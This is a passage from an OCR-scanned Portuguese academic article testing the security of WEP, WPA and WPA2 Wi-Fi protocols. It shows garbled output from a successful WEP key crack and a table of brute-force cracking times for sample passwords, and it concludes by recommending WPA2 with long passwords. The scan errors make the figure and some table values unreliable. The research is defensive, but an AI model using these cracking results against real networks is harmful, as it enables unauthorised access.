9 B 1 310624641 14058368) GA(SE6832) 21(56328) 62[(5632e]
18 54 1 E3(5529G) 1B155848) FAI54523) 32(%4372) 94(54272)
11 B/ 1 GA(58880) G9(56576) B2(55608) AA(55048) FT(55048]
12 2 3 31(5704B) D3(55508) 1B(S5858) BA{54B28] TO[54244)

KEY FOUNDI [ 31:32:33:34:35:36:37:38:39:30:39:31:31 ] |[ASCIL: 1234567851611)

Decrypted correctly: 188%

roctdtestes-laptop:-# I

Figura 4. Quebra com sucesso de uma chave com protocolo WEP de 128 bits
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Virios testes foram realizados alguns com resultados positivos para quebra outros nao.
Mais sobre esses resultados podera ser observado a segui diciondrio.

7. Resultados Obtidos

Por meio da pesquisa desenvolvida e dos testes realizados pode-se observar a fragilidade do
protocolo WEP, que mesmo utilizando senhas bem elaboradas tem suas chaves quebradas
facilmente com a utilizagc@o de ataques de forca bruta. Como pode ser observado na Tabela 5.
Com isso, deve-se sempre que possivel evitar o uso desse protocolo, independente de a chave
ser de 64 ou 128 bits, para evitar que suas vulnerabilidades comprometam a seguranga da
rede.

Tabela 6. Resultados obtidos nos testes realizados

Protocolo Chave Tempo de Gerada por Quebra da
Analise Software Senha

WEP 64 bits 12345 00:04 Néao Sim
WEP 64 bits yJ(M9 00:04 Nao Sim
WEP 64 bits A@q~2 00:04 Sim Sim
WEP 128 bits 1234567891011 00:07 Nao Sim
WEP 128 bits An@P@"!?25CI3 00:10 Néao Sim
WEP 128 bits Ry&@74Nm[g*%Y 00:52 Sim Sim
WPA teste12345 03:28 Nao Sim
WPA An@P@"!?&CI3d150n 12:04 Nao Nao
WPA P8=3CK+?F=){\8E 14:07 Sim Nao
WPA 2 1234567891011 06:23 Nao Sim
WPA 2 A17B2!c3 06:52 Néao Sim
WPA 2 An@P@"!?&CI3d150n 11:25 Nao Nao
WPA Mixed copadomundo 04:50 Nao Sim
WPA Mixed An@P@"!?&CI3d150n 10:43 Nao Nao

O protocolo WPA e WPA2 sdo op¢des mais aconselhdveis aos usudrios, pois mesmo

apresentando algumas vulnerabilidades se mostram muito mais eficientes que o protocolo
WEP. Sendo que quando utilizadas senhas bem elaboradas e com tamanhos significativos
possibilitam que a rede alcance um nivel desejdvel relacionado a seguranca, pois neste ataque
a senha s6 serd desvendada se a senha da rede estiver contida no diciondrio utilizado no
momento do ataque.

Configuracdes adequadas e bem feitas nos equipamentos desde o momento da
instalacdo também podem ajudar a elevar o indice de seguranga da rede, bem como o
cumprimento das normas estipuladas na politica de seguranca existente na organizacdo, pois
ndo existe um a maneira de criar uma rede sem fio completamente segura, mas todos as acdes
tomadas para dificultar invasdes e aumentar a seguranga da mesma ajudam para que se torne
uma rede com um alto nivel de seguranca.
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8. Conclusao

Este artigo apresentou os testes realizados para que uma andlise da seguranca em redes sem
fio pudesse ser realizada, medindo a confiabilidade dos protocolos disponiveis para redes sem
fio. Tendo como resultado a ineficiéncia do protocolo WEP diante de ataques de forca bruta
devido a utiliza¢do de chaves com poucos caracteres.

Uma atengdo especial foi dada para as senhas, pois elas podem ser uma forma muito
eficaz de evitar ataques as wireless, pois € uma tarefa muito dificil garantir a seguranca de
informacdes que trafegam pelo ar. Sendo assim o usudrio deve se empenhar e aplicar as
sugestoes dadas neste trabalho buscando aumentar o nivel de seguranca da rede.

Sendo que a eficiéncia dos protocolos WPA e WPA?2 s6 € alcangada quando explorada
a capacidade de aceitar senhas com mais de oito caracteres, por isso para aumentar o nivel de
seguranca da rede nao basta apenas ativar um bom protocolo, mas sim utilizar uma senha que
ndo possa ser desvendada de forma facil.
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